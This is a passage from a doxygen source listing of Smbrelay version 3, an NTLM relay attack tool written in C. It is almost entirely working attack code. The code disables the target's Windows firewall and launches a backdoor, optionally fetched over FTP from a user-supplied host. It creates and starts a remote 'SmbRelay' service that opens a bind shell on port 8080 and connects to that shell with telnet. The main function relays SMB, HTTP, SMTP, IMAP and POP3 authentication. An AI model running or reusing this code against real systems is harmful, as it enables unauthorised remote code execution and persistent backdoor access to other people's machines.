00706                 sprintf(ServicePath,"cmd.exe /c netsh firewall set opmode DISABLE DISABLE & %s",lpBackdoorFile);               
00707         } else {        
00708                 if (strlen(ftphost)==0) {
00709                         printf("[-] ftphost parameter not selected. Unable to execute reverse payload\n");
00710                         return(0);
00711                 }
00712                 GenerateFTPTransfer(ServicePath,ftphost,ftpport,ftpusername,ftppass,lpBackdoorFile,NULL);        
00713         }
00714 
00715         len=CreateServiceWStub(data,(char*)ContextHandle,"SmbRelay","Smbrelay3 Shell Service",ServicePath,SERVICE_AUTO_START,SERVICE_WIN32_OWN_PROCESS);
00716         packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,CREATESERVICE,data,len);//ContextHandle, 20);  
00717         ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
00718         printf("[+] Creating Remote Service                                                          \r");
00719         if (verbose)
00720         {
00721                 printf("\n");
00722                 if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
00723         }
00724         i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00725         free(packet);
00726         if (i<=0){
00727                 printf("[-] Error. Unable to create Remote Service \n");
00728                 return(0);
00729         }
00730 
00731         len=OpenServiceWStub(data,(char*)ContextHandle,"SmbRelay",  SERVICE_START);
00732         packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,OPENSERVICEW,data,len);
00733         ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
00734         printf("[+] Opening Remote Service                                                          \r");
00735         if (verbose)
00736         {       
00737                 printf("\n");
00738                 if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
00739         }
00740         i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00741         free(packet);
00742         if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
00743                 printf("[-] Error. Unable to Open Remote service                            \n");
00744                 return(0);
00745         }
00746 
00747         memcpy((char*)ContextHandle,buf+i-24,20);
00748 
00749 
00750         packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,STARTSERVICE,ContextHandle, 20 + 8);
00751         ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
00752         printf("[+] Starting Remote Service...                                                       \r");
00753         if (verbose)
00754         {               
00755                 printf("\n");
00756                 if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
00757         }
00758         send(relay.destination, (char*)packet,  SmbPacketLen(packet),0) ;
00759         free(packet);
00760         Sleep(1000);
00761         printf("[+] *** Remote SmbRelay3 BindShell Service Running ***: (%s:%i)\n\n",relay.hostname,8080);
00762 
00763         Sleep(3000);
00764         return(1);
00765 }
00766 
00767 
00768 /*********************************************/
00769 
00770 
00771 int main(int argc, char* argv[]) {
00772 
00773 #ifdef WIN32
00774         WSADATA ws;
00775 #endif 
00776         int i;
00777         RELAY relay;
00778         int srcProtocol;
00779         int dstProtocol= REPLAY_SMB;
00780         Banner();
00781 #ifdef WIN32
00782         if (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
00783                 exit(0);
00784         }
00785 #endif
00786 
00787 
00788         if (argc==1) { usage(); }
00789 
00790         for (i=1;i<argc;i++) 
00791         {
00792                 if (  (argv[i][0]=='-') ) 
00793                 {
00794                         if (strcmp(argv[i],"--ListForSMBRequests")==0) {
00795                                 ListForSMBRequests=1;
00796                                 ListeningPort=445;
00797                                 srcProtocol=REPLAY_SMB;
00798                         } else if (strcmp(argv[i],"--ListForHTTPRequests")==0) {
00799                                 ListForHTTPRequests=1;
00800                                 ListeningPort=80;
00801                                 srcProtocol=REPLAY_HTTP;
00802                         }else if (strcmp(argv[i],"--ListForSMTPRequests")==0) {
00803                                 ListForHTTPRequests=1;
00804                                 ListeningPort=25;
00805                                 srcProtocol=REPLAY_SMTP;
00806                         }else if (strcmp(argv[i],"--ListForIMAPRequests")==0) {
00807                                 ListForHTTPRequests=1;
00808                                 ListeningPort=143;
00809                                 srcProtocol=REPLAY_IMAP;
00810                         }else if (strcmp(argv[i],"--ListForPOP3Requests")==0) {
00811                                 ListForHTTPRequests=1;
00812                                 ListeningPort=110;
00813                                 srcProtocol=REPLAY_POP3;
00814                         }  else if (strcmp(argv[i],"--psexec")==0) {
00815                                 PsExec=1;
00816                                 DestinationHost=argv[i+1];
00817                                 lpUsername=argv[i+2];
00818 
00819                                 lpPassword=argv[i+3];                                   
00820                                 i+=3;
00821                                 srcProtocol=PSEXEC;
00822 
00823                         } else if (strcmp(argv[i],"--AlternativeDstPort")==0) {
00824                                 DestinationPort=atoi(argv[i+1]);
00825                                 i++;                    
00826                         }  else if (strcmp(argv[i],"--SrcHostname")==0) {
00827                                 strcpy(lpSrcHostname,argv[i+1]);
00828                                 i++;                    
00829                         } else if (strcmp(argv[i],"--AlternativeSrcPort")==0) {
00830                                 ListeningPort=atoi(argv[i+1]);
00831                                 i++;                    
00832                         } else if (strcmp(argv[i],"--SMBDestinationHost")==0) {
00833                                 DestinationHost=argv[i+1];
00834                                 i++;
00835                                 /*
00836                                 } else if (strcmp(argv[i],"--ProxySMB")==0) {
00837                                 dstProtocol = ATTACK_NONE;
00838                                 ProxySMB=1;
00839                                 */
00840                         } else if (strcmp(argv[i],"--ftp")==0) {
00841                                 strcpy(ftphost,argv[i+1]);
00842                                 ftpport=atoi(argv[i+2]);
00843                                 strcpy(ftpusername,argv[i+3]);
00844                                 strcpy(ftppass,argv[i+4]);
00845                                 i+=4;
00846 
00847                         } else if (strcmp(argv[i],"--v")==0) {
00848                                 verbose=1;
00849                         } else if (strcmp(argv[i],"--vv")==0) {
00850                                 verbose=2;
00851                         } else {
00852                                 printf("[-] Unknown parameter %s\n",argv[i]);   
00853                                 usage();
00854                         }
00855                 } else {
00856                         printf("[-] Unknown parameter %s\n",argv[i]);   
00857                         usage();
00858                 }
00859         }
00860 
00861 
00862         if (!srcProtocol)
00863         {
00864                 printf("[-] Error - No valid binding selected\n");
00865                 usage();
00866         }
00867         if (PsExec)
00868         {
00869                 if (ConnectToRemoteHost(&relay,DestinationHost,DestinationPort))
00870                 {
00871                         if ( StablishNTLMSession(relay,DestinationHost,lpUsername,lpPassword))
00872                         {              
00873                                 if (ExecuteCode( relay))
00874                                 {
00875                                         char data[256];
00876                                         sprintf(data,"telnet %s %i",relay.hostname,8080);    
00877                                         system(data);
00878                                 }
00879 
00880                                 return(1);
00881 
00882                         }
00883                 }
00884                 return(0);      
00885         }
00886 
00887         ReplayAttackAgainst( srcProtocol, dstProtocol ,ListeningPort,DestinationHost,DestinationPort);
00888         return 1;
00889 }
00890 
00891 /***********************************************************************************/
00892 

Generated on Wed Nov 12 22:04:28 2008 for Smbrelay version 3 by  doxygen 1.5.4